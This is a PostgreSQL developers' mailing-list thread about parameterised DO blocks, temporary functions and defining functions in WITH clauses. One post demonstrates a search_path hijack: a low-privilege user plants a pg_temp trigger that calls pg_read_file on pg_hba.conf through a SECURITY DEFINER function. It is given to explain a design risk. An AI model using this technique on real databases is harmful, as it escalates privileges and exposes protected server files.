> language plpgsql;

It's quite the, probably undocumented, hack though. I think it's hard to
find as a user, because it's more or less happenstance that it works. I
think we should introduce TEMPORARY properly for function, but that's a
separate patch.

> Compared to DO, you have to do extra steps to create the function, and drop
> it when you're done. And you can't use them in a hot standby, because it
> changes the catalogs. (although a better solution to that would be to make
> it work, as well as temporary tables, but that's a much bigger project).

It'd be neat, but I really don't see it happening.

> Maybe we don't need any of this, you can just use temporary function. But
> clearly someone though that DO statements are useful in general, because
> we've had temporary functions for ages and we nevertheless added the DO
> statement.

Doing a CREATE FUNCTION like that has a mighty amount of cost
associated. If you're not using the DO interactively, but
programmatically the amount of catalog and cache churn can be
problematic. So I'm in favor of adding parameters to DO.

Greetings,

Andres Freund

--
Andres Freund http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
> On 09/16/2014 10:57 AM, Craig Ringer wrote:
>> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
>>
>>> Why we don't introduce a temporary functions instead?
>>
>> I think that'd be a lot cleaner and simpler. It's something I've
>> frequently wanted, and as Hekki points out it's already possible by
>> creating the function in pg_temp, there just isn't the syntax sugar for
>> "CREATE TEMPORARY FUNCTION".
>>
>> So why not just add "CREATE TEMPORARY FUNCTION"?
>
> Sure, why not.

Because you still have to do

SELECT pg_temp.my_temp_function(blah);

to execute it.

>> It means two steps:
>>
>> CREATE TEMPORARY FUNCTION ... $$ $$;
>>
>> SELECT my_temp_function(blah);

That won't work; see above.
--
Vik

2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:

> On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
> > On 09/16/2014 10:57 AM, Craig Ringer wrote:
> >> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
> >>
> >>> Why we don't introduce a temporary functions instead?
> >>
> >> I think that'd be a lot cleaner and simpler. It's something I've
> >> frequently wanted, and as Hekki points out it's already possible by
> >> creating the function in pg_temp, there just isn't the syntax sugar for
> >> "CREATE TEMPORARY FUNCTION".
> >>
> >> So why not just add "CREATE TEMPORARY FUNCTION"?
> >
> > Sure, why not.
>
> Because you still have to do
>
> SELECT pg_temp.my_temp_function(blah);
>
> to execute it.
>

this problem should be solvable. I can to use a temporary tables without
using pg_temp schema.

Pavel

>
> >> It means two steps:
> >>
> >> CREATE TEMPORARY FUNCTION ... $$ $$;
> >>
> >> SELECT my_temp_function(blah);
>
> That won't work; see above.
> --
> Vik
>

On Wed, Sep 17, 2014 at 10:17:22PM +0200, Pavel Stehule wrote:
> > Because you still have to do
> >
> > SELECT pg_temp.my_temp_function(blah);
> >
> > to execute it.
> >
>
> this problem should be solvable. I can to use a temporary tables without
> using pg_temp schema.

Umm, IIRC it used to work that way but was changed to work like this.
IIRC the reason was that anyone can create functions in the temp
tablespace and thus hijack other functions that more priviledged
functions might call.

Or something like that. I think it was even a CVE.

Have a nice dat,
--
Martijn van Oosterhout <kleptog(at)svana(dot)org> http://svana.org/kleptog/
> He who writes carelessly confesses thereby at the very outset that he does
> not attach much importance to his own thoughts.
-- Arthur Schopenhauer

On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
> 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
>
> > On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
> > > On 09/16/2014 10:57 AM, Craig Ringer wrote:
> > >> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
> > >>
> > >>> Why we don't introduce a temporary functions instead?
> > >>
> > >> I think that'd be a lot cleaner and simpler. It's something I've
> > >> frequently wanted, and as Hekki points out it's already possible by
> > >> creating the function in pg_temp, there just isn't the syntax sugar for
> > >> "CREATE TEMPORARY FUNCTION".
> > >>
> > >> So why not just add "CREATE TEMPORARY FUNCTION"?
> > >
> > > Sure, why not.
> >
> > Because you still have to do
> >
> > SELECT pg_temp.my_temp_function(blah);
> >
> > to execute it.
> >
>
> this problem should be solvable. I can to use a temporary tables without
> using pg_temp schema.

I fail to see why that is so much preferrable for you to passing
parameter to DO?

1) You need to think about unique names for functions
2) Doesn't work on HOT STANDBYs
3) Causes noticeable amount of catalog bloat
4) Is about a magnitude or two more expensive

So yes, TEMPORARY FUNCTION would be helpful. But it's simply a different
feature.

Greetings,

Andres Freund

--
Andres Freund http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

2014-09-18 13:40 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:

> On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
> > 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
> >
> > > On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
> > > > On 09/16/2014 10:57 AM, Craig Ringer wrote:
> > > >> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
> > > >>
> > > >>> Why we don't introduce a temporary functions instead?
> > > >>
> > > >> I think that'd be a lot cleaner and simpler. It's something I've
> > > >> frequently wanted, and as Hekki points out it's already possible by
> > > >> creating the function in pg_temp, there just isn't the syntax sugar
> for
> > > >> "CREATE TEMPORARY FUNCTION".
> > > >>
> > > >> So why not just add "CREATE TEMPORARY FUNCTION"?
> > > >
> > > > Sure, why not.
> > >
> > > Because you still have to do
> > >
> > > SELECT pg_temp.my_temp_function(blah);
> > >
> > > to execute it.
> > >
> >
> > this problem should be solvable. I can to use a temporary tables without
> > using pg_temp schema.
>
> I fail to see why that is so much preferrable for you to passing
> parameter to DO?

> 1) You need to think about unique names for functions
> 2) Doesn't work on HOT STANDBYs
> 3) Causes noticeable amount of catalog bloat
> 4) Is about a magnitude or two more expensive
>

1. I am not against simple DO, what doesn't substitute functions

2. When DO have to substitute functions, then I don't see a benefits

Show me real use case please?

Pavel

>
> So yes, TEMPORARY FUNCTION would be helpful. But it's simply a different
> feature.
>
> Greetings,
>
> Andres Freund
>
> --
> Andres Freund http://www.2ndQuadrant.com/
> PostgreSQL Development, 24x7 Support, Training & Services
>

On 9/18/14 1:35 PM, Martijn van Oosterhout wrote:
> On Wed, Sep 17, 2014 at 10:17:22PM +0200, Pavel Stehule wrote:
>>> Because you still have to do
>>>
>>> SELECT pg_temp.my_temp_function(blah);
>>>
>>> to execute it.
>>>
>>
>> this problem should be solvable. I can to use a temporary tables without
>> using pg_temp schema.
>
> Umm, IIRC it used to work that way but was changed to work like this.
> IIRC the reason was that anyone can create functions in the temp
> tablespace and thus hijack other functions that more priviledged
> functions might call.

The same argument applies to temporary tables *already*. Consider:

=# create function oops() returns void as $$
$# begin insert into foo default values; end $$ language plpgsql
-# security definer;
CREATE FUNCTION
=# grant execute on function oops() to peasant;
GRANT

Then peasant does:

=> create temporary table foo();
CREATE TABLE
=> create function pg_temp.now_im_superuser() returns trigger as $$
$> begin raise notice '%', pg_read_file('pg_hba.conf'); return new; end
$> $$ language plpgsql;
CREATE FUNCTION
=> create trigger malicious before insert on pg_temp.foo
-> execute procedure pg_temp.now_im_superuser();
CREATE TRIGGER
=> select oops();
NOTICE: <contents of pg_hba.conf>

Personally, I think that if we're going to do something, we should be
*hiding* temporary stuff from search_path, not bringing it more visible.
Having to either prefix everything with the schema name or set
search_path for every SECURITY DEFINER function is a major PITA.

.marko

On 2014-09-18 13:44:47 +0200, Pavel Stehule wrote:
> 2014-09-18 13:40 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
>
> > On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
> > > 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
> > I fail to see why that is so much preferrable for you to passing
> > parameter to DO?
>
>
> > 1) You need to think about unique names for functions
> > 2) Doesn't work on HOT STANDBYs
> > 3) Causes noticeable amount of catalog bloat
> > 4) Is about a magnitude or two more expensive
> >
>
> 1. I am not against simple DO, what doesn't substitute functions
>
> 2. When DO have to substitute functions, then I don't see a benefits
>
> Show me real use case please?

Did you read what I wrote above? I'm sure you can rephrase them to be
more 'use case' like yourself.

Isn't being able to do this on a standby a fundamental enough advantage?
Being significantly cheaper? Needing fewer roundtrips?

Greetings,

Andres Freund

--
Andres Freund http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

2014-09-18 13:48 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:

> On 2014-09-18 13:44:47 +0200, Pavel Stehule wrote:
> > 2014-09-18 13:40 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
> >
> > > On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
> > > > 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
> > > I fail to see why that is so much preferrable for you to passing
> > > parameter to DO?
> >
> >
> > > 1) You need to think about unique names for functions
> > > 2) Doesn't work on HOT STANDBYs
> > > 3) Causes noticeable amount of catalog bloat
> > > 4) Is about a magnitude or two more expensive
> > >
> >
> > 1. I am not against simple DO, what doesn't substitute functions
> >
> > 2. When DO have to substitute functions, then I don't see a benefits
> >
> > Show me real use case please?
>
> Did you read what I wrote above? I'm sure you can rephrase them to be
> more 'use case' like yourself.
>
> Isn't being able to do this on a standby a fundamental enough advantage?
> Being significantly cheaper? Needing fewer roundtrips?
>

no, I don't need more. My opinion is, so this proposal has no real benefit,
but will do implement redundant functionality.

Regards

Pavel

>
> Greetings,
>
> Andres Freund
>
> --
> Andres Freund http://www.2ndQuadrant.com/
> PostgreSQL Development, 24x7 Support, Training & Services
>

On 2014-09-18 13:51:56 +0200, Pavel Stehule wrote:
> 2014-09-18 13:48 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
>
> > On 2014-09-18 13:44:47 +0200, Pavel Stehule wrote:
> > Isn't being able to do this on a standby a fundamental enough advantage?
> > Being significantly cheaper? Needing fewer roundtrips?
> >
>
> no, I don't need more. My opinion is, so this proposal has no real benefit,
> but will do implement redundant functionality.

FFS: What's redundant about being able to do this on a standby?

Greetings,

Andres Freund

--
Andres Freund http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

2014-09-18 13:53 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:

> On 2014-09-18 13:51:56 +0200, Pavel Stehule wrote:
> > 2014-09-18 13:48 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
> >
> > > On 2014-09-18 13:44:47 +0200, Pavel Stehule wrote:
> > > Isn't being able to do this on a standby a fundamental enough
> advantage?
> > > Being significantly cheaper? Needing fewer roundtrips?
> > >
> >
> > no, I don't need more. My opinion is, so this proposal has no real
> benefit,
> > but will do implement redundant functionality.
>
> FFS: What's redundant about being able to do this on a standby?
>

Is it solution for standby? It is necessary? You can have a functions on
master.

Is not higher missfeature temporary tables on stanby?

again: I am not against to DO paramaterization. I am against to implement
DO with complexity like functions. If we have a problem with standby, then
we have to fix it correctly. There is a issue with temp tables, temp
sequences, temp functions.

Pavel

>
> Greetings,
>
> Andres Freund
>
> --
> Andres Freund http://www.2ndQuadrant.com/
> PostgreSQL Development, 24x7 Support, Training & Services
>

2014-09-18 13:59 GMT+02:00 Pavel Stehule <pavel(dot)stehule(at)gmail(dot)com>:

>
>
> 2014-09-18 13:53 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
>
>> On 2014-09-18 13:51:56 +0200, Pavel Stehule wrote:
>> > 2014-09-18 13:48 GMT+02:00 Andres Freund <andres(at)2ndquadrant(dot)com>:
>> >
>> > > On 2014-09-18 13:44:47 +0200, Pavel Stehule wrote:
>> > > Isn't being able to do this on a standby a fundamental enough
>> advantage?
>> > > Being significantly cheaper? Needing fewer roundtrips?
>> > >
>> >
>> > no, I don't need more. My opinion is, so this proposal has no real
>> benefit,
>> > but will do implement redundant functionality.
>>
>> FFS: What's redundant about being able to do this on a standby?
>>
>
> Is it solution for standby? It is necessary? You can have a functions on
> master.
>
> Is not higher missfeature temporary tables on stanby?
>
> again: I am not against to DO paramaterization. I am against to implement
> DO with complexity like functions. If we have a problem with standby, then
> we have to fix it correctly. There is a issue with temp tables, temp
> sequences, temp functions.
>

if we would to need a "single use" function, then we should to implement
it, and we should not to rape some different objects. Some, what has behave
like function should be function.

After some thinking, probably CTE design can be only one frame, where we
can do it

WITH
FUNCTION f1(a int) RETURNS int AS $$ .. $$ LANGUAGE plpgsql,
FUNCTION f2(a int) RETURNS SETOF int AS $$ .. $$ LANGUAGE plpgsql,
SELECT f1(x) FROM f2(z) LATERAL ....

We can generalize WITH clause, so there SEQENCES, VIEWS, .. can be defined
for "single usage"

Regards

Pavel

>
> Pavel
>
>
>
>>
>> Greetings,
>>
>> Andres Freund
>>
>> --
>> Andres Freund http://www.2ndQuadrant.com/
>> PostgreSQL Development, 24x7 Support, Training & Services
>>
>
>

On 09/18/2014 07:40 AM, Andres Freund wrote:
> On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
>> 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
>>
>>> On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
>>>> On 09/16/2014 10:57 AM, Craig Ringer wrote:
>>>>> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
>>>>>
>>>>>> Why we don't introduce a temporary functions instead?
>>>>> I think that'd be a lot cleaner and simpler. It's something I've
>>>>> frequently wanted, and as Hekki points out it's already possible by
>>>>> creating the function in pg_temp, there just isn't the syntax sugar for
>>>>> "CREATE TEMPORARY FUNCTION".
>>>>>
>>>>> So why not just add "CREATE TEMPORARY FUNCTION"?
>>>> Sure, why not.
>>> Because you still have to do
>>>
>>> SELECT pg_temp.my_temp_function(blah);
>>>
>>> to execute it.
>>>
>> this problem should be solvable. I can to use a temporary tables without
>> using pg_temp schema.
> I fail to see why that is so much preferrable for you to passing
> parameter to DO?
>
> 1) You need to think about unique names for functions
> 2) Doesn't work on HOT STANDBYs
> 3) Causes noticeable amount of catalog bloat
> 4) Is about a magnitude or two more expensive
>
> So yes, TEMPORARY FUNCTION would be helpful. But it's simply a different
> feature.
>

+1

If my memory isn't failing, when we implemented DO there were arguments
for this additional feature, but we decided that it wouldn't be done at
least on the first round. But we've had DO for a while and it's proved
its worth. So I think now is a perfect time to revisit the issue.

cheers

andrew

On 09/18/2014 08:41 PM, Andrew Dunstan wrote:
>
> On 09/18/2014 07:40 AM, Andres Freund wrote:
>> On 2014-09-17 22:17:22 +0200, Pavel Stehule wrote:
>>> 2014-09-17 22:07 GMT+02:00 Vik Fearing <vik(dot)fearing(at)dalibo(dot)com>:
>>>
>>>> On 09/16/2014 10:09 AM, Heikki Linnakangas wrote:
>>>>> On 09/16/2014 10:57 AM, Craig Ringer wrote:
>>>>>> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
>>>>>>
>>>>>>> Why we don't introduce a temporary functions instead?
>>>>>> I think that'd be a lot cleaner and simpler. It's something I've
>>>>>> frequently wanted, and as Hekki points out it's already possible by
>>>>>> creating the function in pg_temp, there just isn't the syntax
>>>>>> sugar for
>>>>>> "CREATE TEMPORARY FUNCTION".
>>>>>>
>>>>>> So why not just add "CREATE TEMPORARY FUNCTION"?
>>>>> Sure, why not.
>>>> Because you still have to do
>>>>
>>>> SELECT pg_temp.my_temp_function(blah);
>>>>
>>>> to execute it.
>>>>
>>> this problem should be solvable. I can to use a temporary tables
>>> without
>>> using pg_temp schema.
>> I fail to see why that is so much preferrable for you to passing
>> parameter to DO?
>>
>> 1) You need to think about unique names for functions
>> 2) Doesn't work on HOT STANDBYs
>> 3) Causes noticeable amount of catalog bloat
>> 4) Is about a magnitude or two more expensive
>>
>> So yes, TEMPORARY FUNCTION would be helpful. But it's simply a different
>> feature.
>>
>
>
> +1
>
> If my memory isn't failing, when we implemented DO there were
> arguments for this additional feature, but we decided that it wouldn't
> be done at least on the first round. But we've had DO for a while and
> it's proved its worth. So I think now is a perfect time to revisit the
> issue.
One possible syntax would be extending WITH to somehow enable on-spot
functions in addition to on-spot views

WITH FUNCTION myfunc(...) RETURNS TABLE(...) LANGUAGE plpgsql AS $$
...
$$
SELECT f.*
FROM myfunc(x,y,z);

Cheers

--
Hannu Krosing
PostgreSQL Consultant
Performance, Scalability and High Availability
2ndQuadrant Nordic OÜ

On 09/18/2014 02:37 PM, Pavel Stehule wrote:
>
> if we would to need a "single use" function, then we should to
> implement it, and we should not to rape some different objects. Some,
> what has behave like function should be function.
>
> After some thinking, probably CTE design can be only one frame, where
> we can do it
>
> WITH
> FUNCTION f1(a int) RETURNS int AS $$ .. $$ LANGUAGE plpgsql,
> FUNCTION f2(a int) RETURNS SETOF int AS $$ .. $$ LANGUAGE
> plpgsql,
> SELECT f1(x) FROM f2(z) LATERAL ....
>
> We can generalize WITH clause, so there SEQENCES, VIEWS, .. can be
> defined for "single usage"
+2

I just proposed the same thing in another branch of this discussion
before reading this :)

I guess it proves (a little) that WITH is the right place to do these
kind of things ...

Cheers

--
Hannu Krosing
PostgreSQL Consultant
Performance, Scalability and High Availability
2ndQuadrant Nordic OÜ

On 09/18/2014 01:10 PM, Hannu Krosing wrote:
> One possible syntax would be extending WITH to somehow enable on-spot
> functions in addition to on-spot views
>
> WITH FUNCTION myfunc(...) RETURNS TABLE(...) LANGUAGE plpgsql AS $$
> ...
> $$
> SELECT f.*
> FROM myfunc(x,y,z);

Oh! Awesome!

--
Josh Berkus
PostgreSQL Experts Inc.
http://pgexperts.com

On 09/18/2014 10:16 PM, Hannu Krosing wrote:
> On 09/18/2014 02:37 PM, Pavel Stehule wrote:
>>
>> if we would to need a "single use" function, then we should to
>> implement it, and we should not to rape some different objects. Some,
>> what has behave like function should be function.
>>
>> After some thinking, probably CTE design can be only one frame, where
>> we can do it
>>
>> WITH
>> FUNCTION f1(a int) RETURNS int AS $$ .. $$ LANGUAGE plpgsql,
>> FUNCTION f2(a int) RETURNS SETOF int AS $$ .. $$ LANGUAGE
>> plpgsql,
>> SELECT f1(x) FROM f2(z) LATERAL ....
>>
>> We can generalize WITH clause, so there SEQENCES, VIEWS, .. can be
>> defined for "single usage"
> +2
>
> I just proposed the same thing in another branch of this discussion
> before reading this :)
>
> I guess it proves (a little) that WITH is the right place to do these
> kind of things ...

I've been wanting this syntax for a few years now, so I certainly vote
for it.
--
Vik

On 09/18/2014 01:29 PM, Vik Fearing wrote:
> On 09/18/2014 10:16 PM, Hannu Krosing wrote:
>>> WITH
>>> FUNCTION f1(a int) RETURNS int AS $$ .. $$ LANGUAGE plpgsql,
>>> FUNCTION f2(a int) RETURNS SETOF int AS $$ .. $$ LANGUAGE
>>> plpgsql,
>>> SELECT f1(x) FROM f2(z) LATERAL ....
>>>
>>> We can generalize WITH clause, so there SEQENCES, VIEWS, .. can be
>>> defined for "single usage"
>> +2
>>
>> I just proposed the same thing in another branch of this discussion
>> before reading this :)
>>
>> I guess it proves (a little) that WITH is the right place to do these
>> kind of things ...
>
> I've been wanting this syntax for a few years now, so I certainly vote
> for it.
>

Just to clarify: I want the WITH syntax for different purposes.
However, I *also* want DO $$ ... $$ USING ( ). Those are two separate,
different features with different use-cases.

--
Josh Berkus
PostgreSQL Experts Inc.
http://pgexperts.com

On 2014-09-18 10:29 PM, Vik Fearing wrote:
> On 09/18/2014 10:16 PM, Hannu Krosing wrote:
>> I guess it proves (a little) that WITH is the right place to do these
>> kind of things ...
>
> I've been wanting this syntax for a few years now, so I certainly vote
> for it.

I've also been wanting do to something like:

WITH mytyp AS (a int, b int, c int)
SELECT (tup).* FROM
(
SELECT CASE WHEN .. THEN ROW(1,2,3)::mytyp
WHEN .. THEN ROW(2,3,4)
ELSE ROW (3,4,5) END AS tup
FROM ..
) ss

.marko

On 09/18/2014 10:40 PM, Marko Tiikkaja wrote:
> On 2014-09-18 10:29 PM, Vik Fearing wrote:
>> On 09/18/2014 10:16 PM, Hannu Krosing wrote:
>>> I guess it proves (a little) that WITH is the right place to do these
>>> kind of things ...
>>
>> I've been wanting this syntax for a few years now, so I certainly vote
>> for it.
>
> I've also been wanting do to something like:
>
> WITH mytyp AS (a int, b int, c int)
> SELECT (tup).* FROM
> (
> SELECT CASE WHEN .. THEN ROW(1,2,3)::mytyp
> WHEN .. THEN ROW(2,3,4)
> ELSE ROW (3,4,5) END AS tup
> FROM ..
> ) ss
+1
>
>
> .marko
>
>

On 09/19/2014 12:14 AM, Hannu Krosing wrote:
> On 09/18/2014 10:40 PM, Marko Tiikkaja wrote:
>> On 2014-09-18 10:29 PM, Vik Fearing wrote:
>>> On 09/18/2014 10:16 PM, Hannu Krosing wrote:
>>>> I guess it proves (a little) that WITH is the right place to do these
>>>> kind of things ...
>>> I've been wanting this syntax for a few years now, so I certainly vote
>>> for it.
>> I've also been wanting do to something like:
>>
>> WITH mytyp AS (a int, b int, c int)
>> SELECT (tup).* FROM
>> (
>> SELECT CASE WHEN .. THEN ROW(1,2,3)::mytyp
>> WHEN .. THEN ROW(2,3,4)
>> ELSE ROW (3,4,5) END AS tup
>> FROM ..
>> ) ss
> +1
Though it would be even nicer to have fully in-line type definition

SELECT (tup).* FROM
(
SELECT CASE WHEN .. THEN ROW(1,2,3)::(a int, b text, c int2)
WHEN .. THEN ROW(2,3,4)
ELSE ROW (3,4,5) END AS tup
FROM ..
) ss

or an incomplete type with names, as types can be given in ROW

SELECT (tup).* FROM
(
SELECT CASE WHEN .. THEN ROW(1,2::text,3::int2)::(a, b, c)
WHEN .. THEN ROW(2,3,4)
ELSE ROW (3,4,5) END AS tup
FROM ..
) ss

or just normal select query syntax:

SELECT (tup).* FROM
(
SELECT CASE WHEN .. THEN ROW(1 AS a,2::text AS b,3::int2 AS c)
WHEN .. THEN ROW(2,3,4)
ELSE ROW (3,4,5) END AS tup
FROM ..
) ss

Cheers

--
Hannu Krosing
PostgreSQL Consultant
Performance, Scalability and High Availability
2ndQuadrant Nordic OÜ

2014-09-18 22:35 GMT+02:00 Josh Berkus <josh(at)agliodbs(dot)com>:

> On 09/18/2014 01:29 PM, Vik Fearing wrote:
> > On 09/18/2014 10:16 PM, Hannu Krosing wrote:
> >>> WITH
> >>> FUNCTION f1(a int) RETURNS int AS $$ .. $$ LANGUAGE plpgsql,
> >>> FUNCTION f2(a int) RETURNS SETOF int AS $$ .. $$ LANGUAGE
> >>> plpgsql,
> >>> SELECT f1(x) FROM f2(z) LATERAL ....
> >>>
> >>> We can generalize WITH clause, so there SEQENCES, VIEWS, .. can be
> >>> defined for "single usage"
> >> +2
> >>
> >> I just proposed the same thing in another branch of this discussion
> >> before reading this :)
> >>
> >> I guess it proves (a little) that WITH is the right place to do these
> >> kind of things ...
> >
> > I've been wanting this syntax for a few years now, so I certainly vote
> > for it.
> >
>
> Just to clarify: I want the WITH syntax for different purposes.
> However, I *also* want DO $$ ... $$ USING ( ). Those are two separate,
> different features with different use-cases.
>

+1 as parametrized (read only) DO statement

>
> --
> Josh Berkus
> PostgreSQL Experts Inc.
> http://pgexperts.com
>
>
> --
> Sent via pgsql-hackers mailing list (pgsql-hackers(at)postgresql(dot)org)
> To make changes to your subscription:
> http://www.postgresql.org/mailpref/pgsql-hackers
>

On Thu, Sep 18, 2014 at 5:22 PM, Hannu Krosing <hannu(at)2ndquadrant(dot)com> wrote:
> Though it would be even nicer to have fully in-line type definition
>
> SELECT (tup).* FROM
> (
> SELECT CASE WHEN .. THEN ROW(1,2,3)::(a int, b text, c int2)
> WHEN .. THEN ROW(2,3,4)
> ELSE ROW (3,4,5) END AS tup
> FROM ..
> ) ss

+1. Workaround at present (which I mostly use during json serialization) is:

SELECT (tup).* FROM
(
SELECT CASE WHEN .. THEN
(SELECT q FROM (SELECT 1, 2, 3) q)
WHEN .. THEN
(SELECT q FROM (SELECT 2, 3, 4) q)
ELSE (SELECT q FROM (SELECT 3, 4, 5) q)
END AS tup
FROM ..
) ss

If you're talking in line type definitions (which is kinda off topic)
though, it'd be nice to consider:

* nested type definition:
create type foo_t as
(
a text,
b int,
bars bar_t[] as
(
c int,
d text
),
baz baz_t as
(
e text,
f text
)
);

* ...and recursive type references (not being able to recursively
serialize json is a major headache)
create type foo_t as
(
path text,
children foo_t[]
);

merlin

On Fri, Sep 19, 2014 at 9:26 AM, Merlin Moncure <mmoncure(at)gmail(dot)com> wrote:
> On Thu, Sep 18, 2014 at 5:22 PM, Hannu Krosing <hannu(at)2ndquadrant(dot)com> wrote:
>> Though it would be even nicer to have fully in-line type definition
>>
>> SELECT (tup).* FROM
>> (
>> SELECT CASE WHEN .. THEN ROW(1,2,3)::(a int, b text, c int2)
>> WHEN .. THEN ROW(2,3,4)
>> ELSE ROW (3,4,5) END AS tup
>> FROM ..
>> ) ss
>
> +1. Workaround at present (which I mostly use during json serialization) is:
>
> SELECT (tup).* FROM
> (
> SELECT CASE WHEN .. THEN
> (SELECT q FROM (SELECT 1, 2, 3) q)
> WHEN .. THEN
> (SELECT q FROM (SELECT 2, 3, 4) q)
> ELSE (SELECT q FROM (SELECT 3, 4, 5) q)
> END AS tup
> FROM ..
> ) ss

actually, this trick *only* works during json serialization -- it
allows control over the column names that row() masks over. trying to
expand (tup).* still gives the dreaded "ERROR: record type has not
been registered". That's because this works:

select (q).* from (select 1 as a, 2 as b) q;

but this doesn't:

select ((select q from (select a,b) q)).* from (select 1 as a, 2 as b) q;

merlin

On 2014-09-19 8:20 PM, Merlin Moncure wrote:
> actually, this trick *only* works during json serialization -- it
> allows control over the column names that row() masks over. trying to
> expand (tup).* still gives the dreaded "ERROR: record type has not
> been registered". That's because this works:
>
> select (q).* from (select 1 as a, 2 as b) q;
>
> but this doesn't:
>
> select ((select q from (select a,b) q)).* from (select 1 as a, 2 as b) q;

Yeah. This is a seriously missing feature and a PITA. :-(

.marko

On 9/18/14 7:40 AM, Andres Freund wrote:
> I fail to see why that is so much preferrable for you to passing
> parameter to DO?
>
> 1) You need to think about unique names for functions
> 2) Doesn't work on HOT STANDBYs
> 3) Causes noticeable amount of catalog bloat
> 4) Is about a magnitude or two more expensive

Doesn't this apply to all temporary objects? It would also be great to
have temporary tables, temporary indexes, temporary triggers, temporary
extensions, etc. that don't have the above problems. I think inventing
a separate mechanism for working around each instance of this problem
would end up being very confusing.

On 2014-09-22 15:46:48 -0400, Peter Eisentraut wrote:
> On 9/18/14 7:40 AM, Andres Freund wrote:
> > I fail to see why that is so much preferrable for you to passing
> > parameter to DO?
> >
> > 1) You need to think about unique names for functions
> > 2) Doesn't work on HOT STANDBYs
> > 3) Causes noticeable amount of catalog bloat
> > 4) Is about a magnitude or two more expensive
>
> Doesn't this apply to all temporary objects? It would also be great to
> have temporary tables, temporary indexes, temporary triggers, temporary
> extensions, etc. that don't have the above problems. I think inventing
> a separate mechanism for working around each instance of this problem
> would end up being very confusing.

Meh. Those aren't comparable. TEMPORARY TABLES/INDEXES/... all live
beyond a single statement. What's being discussed here doesn't.

Greetings,

Andres Freund

--
Andres Freund http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

On Mon, Sep 22, 2014 at 2:49 PM, Andres Freund <andres(at)2ndquadrant(dot)com> wrote:
> On 2014-09-22 15:46:48 -0400, Peter Eisentraut wrote:
>> On 9/18/14 7:40 AM, Andres Freund wrote:
>> > I fail to see why that is so much preferrable for you to passing
>> > parameter to DO?
>> >
>> > 1) You need to think about unique names for functions
>> > 2) Doesn't work on HOT STANDBYs
>> > 3) Causes noticeable amount of catalog bloat
>> > 4) Is about a magnitude or two more expensive
>>
>> Doesn't this apply to all temporary objects? It would also be great to
>> have temporary tables, temporary indexes, temporary triggers, temporary
>> extensions, etc. that don't have the above problems. I think inventing
>> a separate mechanism for working around each instance of this problem
>> would end up being very confusing.
>
> Meh. Those aren't comparable. TEMPORARY TABLES/INDEXES/... all live
> beyond a single statement. What's being discussed here doesn't.

Even if that wasn't true, 'DO' doesn't involve changes to system
catalogs whereas temporary functions would. With a little imagination
I could come up a with a scenario involving a script of a whole bunch
of repeated trivial DO statements which would involve a lot less
beating on the system catalogs.

When the data-modifying-with feature was considered, an implementation
that relied on temp tables was rejected at least in part because of
system catalog thrash and poorer performance for very trivial queries.

So, to me, DO vs CREATE FUNCTION has nothing to do with passing
arguments and/or returning data. It has to do with lifespan; single
call of the function body only, use DO, otherwise, create a function.

merlin

On 22/09/14 22:58, Merlin Moncure wrote:
>>
>> Meh. Those aren't comparable. TEMPORARY TABLES/INDEXES/... all live
>> beyond a single statement. What's being discussed here doesn't.
>
> Even if that wasn't true, 'DO' doesn't involve changes to system
> catalogs whereas temporary functions would. With a little imagination
> I could come up a with a scenario involving a script of a whole bunch
> of repeated trivial DO statements which would involve a lot less
> beating on the system catalogs.
>
> When the data-modifying-with feature was considered, an implementation
> that relied on temp tables was rejected at least in part because of
> system catalog thrash and poorer performance for very trivial queries.
>
> So, to me, DO vs CREATE FUNCTION has nothing to do with passing
> arguments and/or returning data. It has to do with lifespan; single
> call of the function body only, use DO, otherwise, create a function.
>

Actually same thing happened with the DO implementation itself -
creating anonymous/hidden temporary functions in the background was also
considered but was decided it's not acceptable (for similar reason temp
tables were rejected for WITH).

So we decided at least twice already that this kind of solution is bad,
I don't know of any change that would invalidate the reasons for
deciding that way so I don't see why they would suddenly become
acceptable...

--
Petr Jelinek http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

On 09/23/2014 07:20 AM, Petr Jelinek wrote:
>>
>>
>> So, to me, DO vs CREATE FUNCTION has nothing to do with passing
>> arguments and/or returning data. It has to do with lifespan; single
>> call of the function body only, use DO, otherwise, create a function.
>>
>
> Actually same thing happened with the DO implementation itself -
> creating anonymous/hidden temporary functions in the background was also
> considered but was decided it's not acceptable (for similar reason temp
